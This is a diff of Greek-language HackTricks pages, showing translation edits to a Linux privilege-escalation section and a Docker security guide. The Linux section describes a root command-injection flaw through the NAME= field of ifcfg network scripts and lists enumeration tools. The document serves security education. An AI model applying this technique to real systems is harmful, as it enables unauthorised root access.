**Αναφορά ευπάθειας:** [**https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f)
Εάν, για οποιονδήποτε λόγο, ένας χρήστης μπορεί να **εγγράψει** ένα σενάριο `ifcf-<whatever>` στο _/etc/sysconfig/network-scripts_ **ή** μπορεί να **προσαρμόσει** ένα υπάρχον, τότε το **σύστημά σας είναι στοχευμένο**.
Εάν, για οποιονδήποτε λόγο, ένας χρήστης είναι σε θέση να **εγγράψει** ένα σενάριο `ifcf-<whatever>` στο _/etc/sysconfig/network-scripts_ **ή** μπορεί να **προσαρμόσει** ένα υπάρχον, τότε το **σύστημά σας είναι παραβιασμένο**.
Τα σενάρια δικτύου, όπως το _ifcg-eth0_ για παράδειγμα, χρησιμοποιούνται για συνδέσεις δικτύου. Μοιάζουν ακριβώς με αρχεία .INI. Ωστόσο, στο Linux \~φορτώνονται\~ από το Network Manager (dispatcher.d).
Τα σενάρια δικτύου, _ifcg-eth0_ για παράδειγμα, χρησιμοποιούνται για τις συνδέσεις δικτύου. Μοιάζουν ακριβώς με αρχεία .INI. Ωστόσο, στο Linux είναι \~ενεργοποιημένα\~ από το Network Manager (dispatcher.d).
Στην περίπτωσή μου, το χαρακτηριστικό `NAME=` σε αυτά τα σενάρια δικτύου δεν χειρίζεται σωστά. Εάν έχετε **κενό/κενό διάστημα στο όνομα, το σύστημα προσπαθεί να εκτελέσει το τμήμα μετά το κενό/κενό διάστημα**. Αυτό σημαίνει ότι **ό,τι ακολουθεί μετά το πρώτο κενό/κενό διάστημα εκτελείται ως root**.
@ -1371,9 +1372,9 @@ DEVICE=eth0
Ο κατάλογος `/etc/init.d` είναι η **έδρα** των **σεναρίων** για το System V init (SysVinit), το **κλασικό σύστημα διαχείρισης υπηρεσιών του Linux**. Περιλαμβάνει σενάρια για `εκκίνηση`, `διακοπή`, `επανεκκίνηση` και μερικές φορές `επαναφόρτωση` υπηρεσιών. Αυτά μπορούν να εκτελεστούν απευθείας ή μέσω συμβολικών συνδέσμων που βρίσκονται στον κατάλογο `/etc/rc?.d/`. Ένα εναλλακτικό μονοπάτι σε συστήματα Redhat είναι το `/etc/rc.d/init.d`.
Από την άλλη, το `/etc/init` συσχετίζεται με το **Upstart**, ένα νεότερο **σύστημα διαχείρισης υπηρεσιών** που εισήχθη από το Ubuntu, χρησιμοποιώντας αρχεία ρυθμίσεων για εργασίες διαχείρισης υπηρεσιών. Παρά τη μετάβαση στο Upstart, τα σενάρια SysVinit εξακολουθούν να χρησιμοποιούνται σε συνδυασμό με τις διαμορφώσεις Upstart λόγω μιας στρώσης συμβατότητας στο Upstart.
Από την άλλη, το `/etc/init` σχετίζεται με το **Upstart**, ένα νεότερο **σύστημα διαχείρισης υπηρεσιών** που εισήχθη από το Ubuntu, χρησιμοποιώντας αρχεία ρυθμίσεων για εργασίες διαχείρισης υπηρεσιών. Παρά τη μετάβαση στο Upstart, τα σενάρια SysVinit εξακολουθούν να χρησιμοποιούνται σε συνδυασμό με τις διαμορφώσεις Upstart λόγω μιας στρώσης συμβατότητας στο Upstart.
Το **systemd** εμφανίζεται ως ένας σύγχρονος διαχειριστής εκκίνησης και υπηρεσιών, προσφέροντας προηγμένες λειτουργίες όπως εκκίνηση δαίμονα κατόπιν αιτήματος, διαχείριση αυτόματης τοποθέτησης και στιγμιότυπα κατάστασης συστήματος. Οργανώνει τα αρχεία στον κατάλογο `/usr/lib/systemd/` για πακέτα διανομής και στον κατάλογο `/etc/systemd/system/` για τροποποιήσεις διαχειριστή, βελτιώνοντας τη διαδικασία διαχείρισης του συστήματος.
Το **systemd** εμφανίζεται ως ένας σύγχρονος διαχειριστής εκκίνησης και υπηρεσιών, προσφέροντας προηγμένες λειτουργίες όπως εκκίνηση δαίμονα κατόπιν αιτήματος, διαχείριση αυτόματης τοποθέτησης και στιγμιότυπα κατάστασης συστήματος. Οργανώνει τα αρχεία στον κατάλογο `/usr/lib/systemd/` για πακέτα διανομής και στον κατάλογο `/etc/systemd/system/` για τροποποιήσεις διαχειριστή, βελτιώνοντας τη διαδικασία διαχείρισης συστήματος.
## Άλλα Κόλπα
@ -1406,7 +1407,7 @@ DEVICE=eth0
## Εργαλεία Εξέλιξης Προνομίων Linux/Unix
### **Καλύτερο εργαλείο για εύρεση διανυσματικών εξέλιξης τοπικών προνομίων στο Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
### **Καλύτερο εργαλείο για αναζήτηση διανυσματικών εξελίξεων τοπικών προνομίων στο Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\
**Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\
@ -1438,3 +1439,18 @@ DEVICE=eth0
* [https://linuxconfig.org/how-to-manage-acls-on-linux](https://linuxconfig.org/how-to-manage-acls-on-linux)
* [https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f)
* [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστηρίξτε το HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκινγκ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Ασφάλεια Docker
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε AWS hacking από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα κόλπα σας στο χάκινγκ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
@ -22,39 +23,39 @@
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
## **Βασική Ασφάλεια της Μηχανής Docker**
## **Βασική Ασφάλεια του Docker Engine**
Η **μηχανή Docker** χρησιμοποιεί τα **Namespaces** και **Cgroups** του πυρήνα του Linux για την απομόνωση των containers, προσφέροντας ένα βασικό επίπεδο ασφάλειας. Επιπλέον προστασία παρέχεται μέσω της πτώσης των **Δυνατοτήτων (Capabilities)**, του **Seccomp**, και του **SELinux/AppArmor**, ενισχύοντας την απομόνωση των containers. Ένα **πρόσθετο πρόσβασης (auth plugin)** μπορεί να περιορίσει περαιτέρω τις ενέργειες του χρήστη.
Το **Docker engine** χρησιμοποιεί τα **Namespaces** και **Cgroups** του πυρήνα του Linux για να απομονώσει τα containers, προσφέροντας ένα βασικό επίπεδο ασφάλειας. Επιπλέον προστασία παρέχεται μέσω της πτώσης των **Δυνατοτήτων (Capabilities)**, του **Seccomp**, και του **SELinux/AppArmor**, ενισχύοντας την απομόνωση των containers. Ένα **πρόσθετο πιστοποίησης (auth plugin)** μπορεί να περιορίσει περαιτέρω τις ενέργειες του χρήστη.
![Ασφάλεια Docker](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
### Ασφαλής Πρόσβαση στη Μηχανή Docker
### Ασφαλής Πρόσβαση στο Docker Engine
Η μηχανή Docker μπορεί να προσπελαστεί είτε τοπικά μέσω ενός Unix socket είτε απομακρυσμένα χρησιμοποιώντας HTTP. Για την απομακρυσμένη πρόσβαση, είναι απαραίτητο να χρησιμοποιηθεί το HTTPS και το **TLS** για να διασφαλιστεί η εμπιστευτικότητα, η ακεραιότητα και η ταυτοποίηση.
Το Docker engine μπορεί να προσπελαστεί είτε τοπικά μέσω ενός Unix socket είτε απομακρυσμένα χρησιμοποιώντας HTTP. Για την απομακρυσμένη πρόσβαση, είναι απαραίτητο να χρησιμοποιηθεί το HTTPS και το **TLS** για να διασφαλιστεί η εμπιστευτικότητα, η ακεραιότητα και η ταυτοποίηση.
Η μηχανή Docker, από προεπιλογή, ακούει στο Unix socket στη διεύθυνση `unix:///var/run/docker.sock`. Στα συστήματα Ubuntu, οι επιλογές εκκίνησης του Docker ορίζονται στο `/etc/default/docker`. Για να επιτρέψετε την απομακρυσμένη πρόσβαση στο API και τον πελάτη του Docker, εκθέστε τον δαίμονα του Docker μέσω ενός socket HTTP προσθέτοντας τις παρακάτω ρυθμίσεις:
Το Docker engine, από προεπιλογή, ακούει στο Unix socket στη διεύθυνση `unix:///var/run/docker.sock`. Στα συστήματα Ubuntu, οι επιλογές εκκίνησης του Docker ορίζονται στο `/etc/default/docker`. Για να επιτρέψετε την απομακρυσμένη πρόσβαση στο API και στον πελάτη του Docker, εκθέστε τον δαίμονα του Docker μέσω ενός socket HTTP προσθέτοντας τις παρακάτω ρυθμίσεις:
```bash
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
sudo service docker restart
```
Ωστόσο, δεν συνιστάται η εκθεση του Docker daemon μέσω HTTP λόγω ανησυχιών ασφαλείας. Συνιστάται να ασφαλίζονται οι συνδέσεις χρησιμοποιώντας HTTPS. Υπάρχουν δύο κύριες προσεγγίσεις για την ασφάλιση της σύνδεσης:
Ωστόσο, δεν συνιστάται η εκθεση του Docker daemon μέσω HTTP λόγω προβλημάτων ασφαλείας. Συνιστάται να ασφαλίζονται οι συνδέσεις χρησιμοποιώντας HTTPS. Υπάρχουν δύο κύριες προσεγγίσεις για την ασφάλιση της σύνδεσης:
1. Ο πελάτης επαληθεύει την ταυτότητα του διακομιστή.
2. Τόσο ο πελάτης όσο και ο διακομιστής αυθεντικοποιούν αμοιβαία την ταυτότητα τους.
Τα πιστοποιητικά χρησιμοποιούνται για την επιβεβαίωση της ταυτότητας ενός διακομιστή. Για λεπτομερείς παραδείγματα και των δύο μεθόδων, ανατρέξτε στο [**αυτό τον οδηγό**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
Τα πιστοποιητικά χρησιμοποιούνται για την επιβεβαίωση της ταυτότητας του διακομιστή. Για λεπτομερείς παραδείγματα και των δύο μεθόδων, ανατρέξτε στο [**αυτό τον οδηγό**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
### Ασφάλεια των Εικόνων Εμφάνισης
Οι εικόνες εμφάνισης μπορούν να αποθηκευτούν είτε σε ιδιωτικούς είτε σε δημόσιους αποθετηρίους. Το Docker προσφέρει αρκετές επιλογές αποθήκευσης για εικόνες εμφάνισης:
Οι εικόνες εμφάνισης μπορούν να αποθηκευτούν είτε σε ιδιωτικούς είτε σε δημόσιους αποθετηρίους. Το Docker προσφέρει αρκετές επιλογές αποθήκευσης για τις εικόνες εμφάνισης:
* [**Docker Hub**](https://hub.docker.com): Ένα δημόσιο υπηρεσία αποθετηρίου από το Docker.
* [**Docker Registry**](https://github.com/docker/distribution): Ένα έργο ανοικτού κώδικα που επιτρέπει στους χρήστες να φιλοξενούν το δικό τους αποθετήριο.
* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Η εμπορική προσφορά του Docker για αποθετήριο, παρέχοντας αυθεντικοποίηση χρηστών με βάση τον ρόλο και ολοκλήρωση με υπηρεσίες καταλόγου LDAP.
* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Η εμπορική προσφορά αποθετηρίου του Docker, που περιλαμβάνει αυθεντικοποίηση χρηστών με βάση τον ρόλο και ολοκλήρωση με υπηρεσίες καταλόγου LDAP.
### Σάρωση Εικόνων
Οι εμφάνισης μπορεί να έχουν **ευπάθειες ασφάλειας** είτε λόγω της βασικής εικόνας είτε λόγω του λογισμικού που είναι εγκατεστημένο πάνω στη βασική εικόνα. Το Docker εργάζεται σε ένα έργο που ονομάζεται **Nautilus** που κάνει σάρωση ασφάλειας των Εμφάνισης και καταγράφει τις ευπάθειες. Το Nautilus λειτουργεί συγκρίνοντας κάθε επίπεδο εικόνας Εμφάνισης με το αποθετήριο ευπαθειών για την αναγνώριση των κενών ασφαλείας.
Οι εμφάνισης μπορεί να έχουν **ευπάθειες ασφάλειας** είτε λόγω της βασικής εικόνας είτε λόγω του λογισμικού που είναι εγκατεστημένο πάνω στη βασική εικόνα. Το Docker εργάζεται σε ένα έργο με το όνομα **Nautilus** που κάνει σάρωση ασφάλειας των Εμφάνισης και καταγράφει τις ευπάθειες. Το Nautilus λειτουργεί συγκρίνοντας κάθε επίπεδο εικόνας Εμφάνισης με το αποθετήριο ευπαθειών για την αναγνώριση των κενών ασφαλείας.
Για περισσότερες [**πληροφορίες διαβάστε αυτό**](https://docs.docker.com/engine/scan/).
@ -94,39 +95,39 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
- **Εμπιστοσύνη Περιεχομένου Docker** χρησιμοποιεί το έργο Notary, βασισμένο στο The Update Framework (TUF), για τη διαχείριση της υπογραφής της εικόνας. Για περισσότερες πληροφορίες, δείτε [Notary](https://github.com/docker/notary) και [TUF](https://theupdateframework.github.io).
- Για να ενεργοποιήσετε την εμπιστοσύνη περιεχομένου Docker, ορίστε `export DOCKER_CONTENT_TRUST=1`. Αυτή η λειτουργία είναι απενεργοποιημένη από προεπιλογή στην έκδοση Docker 1.10 και μετά.
- Με αυτήν τη λειτουργία ενεργοποιημένη, μόνο υπογεγραμμένες εικόνες μπορούν να ληφθούν. Η αρχική αποστολή εικόνας απαιτεί την ορισμό κωδικών πρόσβασης για τα κλειδιά ρίζας και ετικέτας, με την Docker να υποστηρίζει επίσης το Yubikey για ενισχυμένη ασφάλεια. Περισσότερες λεπτομέρειες μποροών να βρεθούν [εδώ](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
- Με αυτήν τη λειτουργία ενεργοποιημένη, μόνο υπογεγραμμένες εικόνες μπορούν να ληφθούν. Η πρώτη αποστολή εικόνας απαιτεί την ορισμό κωδικών πρόσβασης για τα κλειδιά ρίζας και ετικέτας, με την Docker να υποστηρίζει επίσης το Yubikey για ενισχυμένη ασφάλεια. Περισσότερες λεπτομέρειες μποροϋν να βρεθούν [εδώ](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
- Η προσπάθεια να γίνει λήψη μιας μη υπογεγραμμένης εικόνας με την εμπιστοσύνη περιεχομένου ενεργοποιημένη οδηγεί σε σφάλμα "Δεν υπάρχουν δεδομένα εμπιστοσύνης για το τελευταίο".
- Για αποστολές εικόνων μετά την πρώτη, η Docker ζητά τον κωδικό πρόσβασης του κλειδιού αποθηκευτηρίου για να υπογράψει την εικόνα.
- Για αποστολές εικόνων μετά την πρώτη, η Docker ζητά τον κωδικό πρόσβασης του κλειδιού αποθήκης για να υπογράψει την εικόνα.
Για να δημιουργήσετε αντίγραφο ασφαλείας των ιδιωτικών κλειδιών σας, χρησιμοποιήστε την εντολή:
```bash
tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
```
Όταν γίνεται μετάβαση σε νέους Docker hosts, είναι απαραίτητο να μεταφερθούν τα κλειδιά ρίζας και αποθετηρίου για τη διατήρηση των λειτουργιών.
Όταν γίνεται μετάβαση σε νέους hosts του Docker, είναι απαραίτητο να μεταφερθούν τα root και repository keys για τη διατήρηση της λειτουργικότητας.
***
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) για εύκολη δημιουργία και **αυτοματοποίηση ροών εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) για εύκολη δημιουργία και **αυτοματοποίηση workflows** με την υποστήριξη των πιο προηγμένων εργαλείων της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
## Χαρακτηριστικά Ασφάλειας Εμπορευμάτων
## Χαρακτηριστικά Ασφάλειας Εμπορευματοκιβωτίων
<details>
<summary>Σύνοψη των Χαρακτηριστικών Ασφάλειας Εμπορευμάτων</summary>
<summary>Σύνοψη των Χαρακτηριστικών Ασφάλειας των Εμπορευματοκιβωτίων</summary>
**Κύρια Χαρακτηριστικά Απομόνωσης Κύριων Διεργασιών**
Σε περιβάλλοντα εμπορευματοποίησης, η απομόνωση των έργων και των διεργασιών τους είναι ζωτικής σημασίας για την ασφάλεια και τη διαχείριση πόρων. Εδώ υπάρχει μια απλουστευμένη εξήγηση των βασικών έννοιων:
Σε περιβάλλοντα εμπορευματοκιβωτίων, η απομόνωση των έργων και των διεργασιών τους είναι ζωτικής σημασίας για την ασφάλεια και τη διαχείριση πόρων. Εδώ υπάρχει μια απλουστευμένη εξήγηση των βασικών έννοιων:
**Χώροι Ονομάτων (Namespaces)**
* **Σκοπός**: Βεβαιώνουν την απομόνωση πόρων όπως διεργασίες, δίκτυο και συστήματα αρχείων. Ειδικά στο Docker, οι χώροι ονομάτων κρατούν τις διεργασίες ενός εμπορεύματος χωριστά από τον κεντρικό υπολογιστή και άλλα εμπορεύματα.
* **Σκοπός**: Βεβαιώνουν την απομόνωση πόρων όπως διεργασίες, δίκτυο και συστήματα αρχείων. Ειδικά στο Docker, οι χώροι ονομάτων κρατούν τις διεργασίες ενός εμπορευματοκιβωτίου χωριστά από τον κεντρικό υπολογιστή και άλλα εμπορευματοκιβώτια.
* **Χρήση της `unshare`**: Η εντολή `unshare` (ή η υποκείμενη κλήση συστήματος) χρησιμοποιείται για τη δημιουργία νέων χώρων ονομάτων, παρέχοντας ένα επιπλέον επίπεδο απομόνωσης. Ωστόσο, ενώ το Kubernetes δεν αποκλείει αυτό από μόνο του, το Docker το κάνει.
* **Περιορισμός**: Η δημιουργία νέων χώρων ονομάτων δεν επιτρέπει σε μια διεργασία να επανέλθει στους προεπιλεγμένους χώρους ονομάτων του κεντρικού υπολογιστή. Για να διεισδύσει στους χώρους ονομάτων του κεντρικού υπολογιστή, κανονικά απαιτείται πρόσβαση στον κατάλογο `/proc` του κεντρικού υπολογιστή, χρησιμοποιώντας το `nsenter` για είσοδο.
@ -138,9 +139,9 @@ tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
**Απόρριψη Δυνατοτήτων (Capability Drop)**
* **Σημασία**: Είναι ένα κρίσιμο χαρακτηριστικό ασφάλειας για την απομόνωση διεργασιών.
* **Λειτουργικότητα**: Περιορίζει τις ενέργειες που μπορεί να εκτελέσει μια διεργασία ρίζας απορρίπτοντας κάποιες συγκεκριμένες δυνατότητες. Ακόμα κι αν μια διεργασία λειτουργεί με δικαιώματα ρίζας, η έλλειψη των απαραίτητων δυνατοτήτων την εμποδίζει από την εκτέλεση προνομιούχων ενεργειών, καθώς οι κλήσεις συστήματος θα αποτύχουν λόγω έλλειψης δικαιωμάτων.
* **Λειτουργικότητα**: Περιορίζει τις ενέργειες που μπορεί να εκτελέσει μια ριζική διεργασία απορρίπτοντας κάποιες συγκεκριμένες δυνατότητες. Ακόμα κι αν μια διεργασία λειτουργεί με δικαιώματα ρίζας, η έλλειψη των απαραίτητων δυνατοτήτων την εμποδίζει από την εκτέλεση προνομιούχων ενεργειών, καθώς οι κλήσεις συστήματος θα αποτύχουν λόγω έλλειψης δικαιωμάτων.
Αυτές είναι οι **υπόλοιπες δυνατότητες** μετά την απόρριψη των υπολοίπων διεργασιών:
Αυτές είναι οι **υπόλοιπες δυνατότητες** μετά την απόρριψη των υπολοίπων δυνατοτήτων από τη διεργασία:
{% code overflow="wrap" %}
```
@ -150,14 +151,14 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
**Seccomp**
Είναι ενεργοποιημένο από προεπιλογή στο Docker. Βοηθά στο **περιορισμό ακόμα περισσότερων κλήσεων συστήματος (syscalls)** που μπορεί να κάνει η διαδικασία.\
Είναι ενεργοποιημένο από προεπιλογή στο Docker. Βοηθά στο **περιορισμό ακόμα περισσότερων syscalls** που μπορεί να καλέσει η διαδικασία.\
Το **προφίλ προεπιλογής Seccomp του Docker** μπορεί να βρεθεί στο [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
**AppArmor**
Το Docker έχει ένα πρότυπο που μπορείτε να ενεργοποιήσετε: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
Αυτό θα επιτρέψει τη μείωση των δυνατοτήτων, των κλήσεων συστήματος, την πρόσβαση σε αρχεία και φακέλους...
Αυτό θα επιτρέψει τη μείωση των δυνατοτήτων, των syscalls, την πρόσβαση σε αρχεία και φακέλους...
</details>
@ -181,8 +182,8 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
### cgroups
Η λειτουργία του πυρήνα του Linux με την ονομασία **cgroups** παρέχει τη δυνατότητα να **περιορίζει πόρους όπως cpu, μνήμη, io, εύρος ζώνης δικτύου μεταξύ** ενός συνόλου διεργασιών. Το Docker επιτρέπει τη δημιουργία Containers χρησιμοποιώντας τη δυνατότητα cgroup που επιτρέπει τον έλεγχο πόρων για το συγκεκριμένο Container.\
Ακολουθεί ένα Container που δημιουργήθηκε με περιορισμό μνήμης χώρου χρήστη σε 500m, περιορισμό μνήμης πυρήνα σε 50m, μοίρα cpu σε 512, blkioweight σε 400. Η μοίρα cpu είναι ένας λόγος που ελέγχει τη χρήση CPU του Container. Έχει μια προεπιλεγμένη τιμή των 1024 και εύρος μεταξύ 0 και 1024. Αν τρία Containers έχουν την ίδια μοίρα cpu των 1024, κάθε Container μπορεί να πάρει μέχρι 33% της CPU σε περίπτωση ανταγωνισμού πόρων CPU. Το blkio-weight είναι ένας λόγος που ελέγχει το IO του Container. Έχει μια προεπιλεγμένη τιμή των 500 και εύρος μεταξύ 10 και 1000.
Η λειτουργία του πυρήνα του Linux **cgroups** παρέχει τη δυνατότητα να **περιορίζει πόρους όπως cpu, μνήμη, io, εύρος ζώνης δικτύου μεταξύ** ενός συνόλου διεργασιών. Το Docker επιτρέπει τη δημιουργία Containers χρησιμοποιώντας τη δυνατότητα cgroup που επιτρέπει τον έλεγχο πόρων για το συγκεκριμένο Container.\
Ακολουθεί ένα Container που δημιουργήθηκε με περιορισμό μνήμης χώρου χρήστη σε 500m, περιορισμό μνήμης πυρήνα σε 50m, μοίρα cpu σε 512, blkioweight σε 400. Η μοίρα cpu είναι ένας λόγος που ελέγχει τη χρήση CPU του Container. Έχει προεπιλεγμένη τιμή 1024 και εύρος μεταξύ 0 και 1024. Αν τρία Containers έχουν την ίδια μοίρα cpu των 1024, κάθε Container μπορεί να πάρει μέχρι 33% της CPU σε περίπτωση ανταγωνισμού πόρων CPU. Το blkio-weight είναι ένας λόγος που ελέγχει το IO του Container. Έχει προεπιλεγμένη τιμή 500 και εύρος μεταξύ 10 και 1000.
```
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
```
@ -200,7 +201,7 @@ ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the
### Δυνατότητες
Οι δυνατότητες επιτρέπουν **πιο λεπτό έλεγχο για τις δυνατότητες που μπορούν να επιτραπούν** για το χρήστη root. Το Docker χρησιμοποιεί το χαρακτηριστικό δυνατοτήτων του πυρήνα Linux για να **περιορίσει τις λειτουργίες που μπορούν να γίνουν μέσα σε ένα Container** ανεξαρτήτως του τύπου του χρήστη.
Οι δυνατότητες επιτρέπουν **πιο λεπτό έλεγχο για τις δυνατότητες που μπορούν να επιτραπούν** για το χρήστη root. Το Docker χρησιμοποιεί το χαρακτηριστικό δυνατοτήτων του πυρήνα Linux για **περιορισμό των λειτουργιών που μπορούν να γίνουν μέσα σε ένα Container** ανεξαρτήτως του τύπου του χρήστη.
Όταν τρέχει ένας Docker container, η **διαδικασία απορρίπτει ευαίσθητες δυνατότητες που θα μπορούσε να χρησιμοποιήσει η διαδικασία για να δραπετεύσει από την απομόνωση**. Αυτό προσπαθεί να διασφαλίσει ότι η διαδικασία δεν θα μπορεί να εκτελέσει ευαίσθητες ενέργειες και να δραπετεύσει:
@ -228,11 +229,11 @@ ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the
* **Σύστημα Ετικετών**: Το SELinux αναθέτει μια μοναδική ετικέτα σε κάθε διεργασία και αντικείμενο συστήματος αρχείων.
* **Επιβολή Πολιτικής**: Επιβάλλει πολιτικές ασφαλείας που ορίζουν ποιες ενέργειες μπορεί να εκτελέσει μια ετικέτα διεργασίας σε άλλες ετικέτες εντός του συστήματος.
* **Ετικέτες Διεργασίας Εμπορίου**: Όταν οι μηχανές container εκκινούν διεργασίες container, συνήθως τους ανατίθεται μια περιορισμένη ετικέτα SELinux, συνήθως `container_t`.
* **Ετικέτες Διεργασίας Εμποράς**: Όταν οι μηχανές container εκκινούν διεργασίες container, συνήθως τους ανατίθεται μια περιορισμένη ετικέτα SELinux, συνήθως `container_t`.
* **Ετικέτες Αρχείων εντός των Containers**: Τα αρχεία μέσα στο container συνήθως επισημαίνονται ως `container_file_t`.
* **Κανόνες Πολιτικής**: Η πολιτική SELinux κυρίως εξασφαλίζει ότι οι διεργασίες με ετικέτα `container_t` μπορούν να αλληλεπιδρούν μόνο (ανάγνωση, εγγραφή, εκτέλεση) με αρχεία που έχουν επισημανθεί ως `container_file_t`.
Αυτός ο μηχανισμός εξασφαλίζει ότι ακόμη και αν μια διαδικασία μέσα σε ένα container είναι υπό κατάληψη, περιορίζεται στην αλληλεπίδραση μόνο με αντικείμενα που έχουν τις αντίστοιχες ετικέτες, περιορίζοντας σημαντικά την πιθανή ζημιά από τέτοιες καταστροφές.
Αυτός ο μηχανισμός εξασφαλίζει ότι ακόμη και αν μια διαδικασία μέσα σε ένα container είναι εκτεθειμένη, περιορίζεται στην αλληλεπίδραση μόνο με αντικείμενα που έχουν τις αντίστοιχες ετικέτες, περιορίζοντας σημαντικά την πιθανή ζημιά από τέτοιες εκθέσεις.
